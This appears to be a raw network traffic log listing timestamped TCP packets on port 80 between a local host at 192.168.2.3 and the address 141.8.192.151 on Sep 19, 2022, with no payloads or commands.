Sep 19, 2022 22:37:46.777885914 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.777887106 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.777934074 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.778238058 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.778266907 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.778290033 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.778291941 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.778311968 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.778318882 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.778338909 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.778362989 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.837512016 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.837553978 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.837579966 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.837606907 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.837619066 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.837632895 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.837651014 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.837661028 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.837687969 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.837699890 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.837740898 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.837800980 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.837831020 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.837856054 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.837857962 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.837883949 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.837908983 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.837909937 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.837935925 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.837954044 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.837964058 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.837995052 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.838037968 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.838165998 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.838216066 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.838241100 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.838268042 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.838268042 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.838294029 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.838299036 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.838321924 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.838346004 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.838347912 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.838376999 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.838382006 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.838403940 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.838429928 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.838433027 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.838457108 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.838484049 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.838484049 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.838510990 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.838537931 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.838536978 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.838566065 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.838572025 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.838593006 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.838619947 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.838620901 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.838638067 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.838646889 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.838674068 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.838720083 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.838762999 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.838768005 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.838790894 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.838814974 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.838840008 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.838877916 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.838927031 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.838954926 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.838979959 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.838982105 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.839056969 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.839073896 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.839099884 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.839129925 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.839174986 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.898416042 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.898469925 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.898509979 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.898541927 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.898546934 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.898585081 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.898601055 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.898624897 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.898659945 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.898695946 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.898695946 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.898734093 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.898750067 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.898772001 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.898809910 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.898813009 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.898847103 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.898884058 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.898889065 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.898921013 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.898957014 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.899012089 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.899286985 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.899324894 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.899360895 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.899388075 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.899393082 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.899426937 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.899454117 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.899461985 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.899501085 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.899549961 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.899558067 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.899589062 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.899621010 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.899626017 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.899665117 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.899672031 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.899701118 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.899730921 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.899735928 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.899774075 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.899804115 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.899808884 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.899847031 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.899848938 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.899888039 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.899904013 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.899923086 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.899960041 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.899966002 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.899996042 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.900031090 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.900048018 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.900068045 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.900103092 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.900134087 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.900141001 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.900177956 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.900185108 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.900259018 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.900262117 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.900325060 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.900336027 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.900361061 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.900398016 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.900409937 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.900435925 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.900470972 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.900475979 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.900532961 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.900588989 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.959724903 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.959785938 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.959825993 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.959835052 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.959867954 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.959897995 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.959913015 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.959947109 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.959953070 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.959994078 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.959997892 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.960032940 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.960047007 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.960072041 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.960098982 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.960113049 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.960134983 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.960154057 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.960196018 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.960200071 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.960243940 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.960273027 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.960285902 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.960314035 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.960350990 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.960352898 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.960385084 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.960393906 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.960427999 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.960455894 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.960869074 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.960916996 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.960933924 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.960973978 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.960977077 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.961036921 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.961039066 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.961082935 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.961093903 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.961122990 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.961154938 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.961162090 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.961189032 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.961203098 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.961241961 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.961244106 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.961281061 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.961282969 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.961317062 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.961323977 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.961359978 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.961368084 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.961395025 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.961410046 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.961438894 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.961452007 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.961492062 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.961532116 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.961532116 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.961570978 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.961610079 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.961621046 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.961683035 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.961709023 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.961725950 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.961764097 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.961765051 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.961806059 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.961823940 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.961849928 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.961874962 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.961893082 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.961929083 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.961932898 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.961972952 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.962016106 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.962061882 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:47.021367073 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.021415949 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.021444082 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.021470070 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.021493912 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.021500111 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:47.021514893 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.021541119 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.021565914 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:47.021569014 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.021600008 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.021627903 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.021653891 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.021655083 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:47.021678925 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.021708965 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.021717072 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:47.021733999 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.021764994 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.021791935 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.021792889 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:47.021821976 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.021842957 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:47.021855116 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.021893978 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:47.021955013 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:47.022531033 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.022563934 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.022619009 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:47.022682905 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:47.022737026 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.022797108 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.022820950 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.022830963 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:47.022846937 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.022872925 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.022885084 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:47.022901058 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.022936106 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.022962093 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.022988081 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.022988081 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:47.023019075 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.023046970 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.023071051 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.023096085 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.023116112 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:47.023122072 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.023149014 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.023175001 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.023185968 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:47.023224115 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.023238897 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:47.023251057 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.023277998 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.023302078 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.023303032 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:47.023324966 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.023361921 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.023365021 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:47.023391008 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.023396015 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:47.023437023 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.023459911 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:47.023503065 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:47.082647085 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.082680941 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.082699060 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.082716942 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.082736015 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.082753897 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.082771063 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.082788944 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.082801104 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:47.082847118 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.082865000 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.082875967 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:47.082884073 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.082901955 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.082914114 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:47.082921028 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.082938910 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.082941055 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:47.082956076 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.082983017 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:47.083014965 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.083029032 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:47.083034992 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.083051920 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.083064079 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:47.083070040 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.083091974 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.083102942 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:47.083132029 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:47.083164930 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.083170891 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:47.083184004 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.083235979 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:47.083262920 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:47.084202051 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.084227085 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.084243059 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.084263086 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.084280014 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:47.084299088 CEST	80	49707	141.8.192.151	192.168.2.3
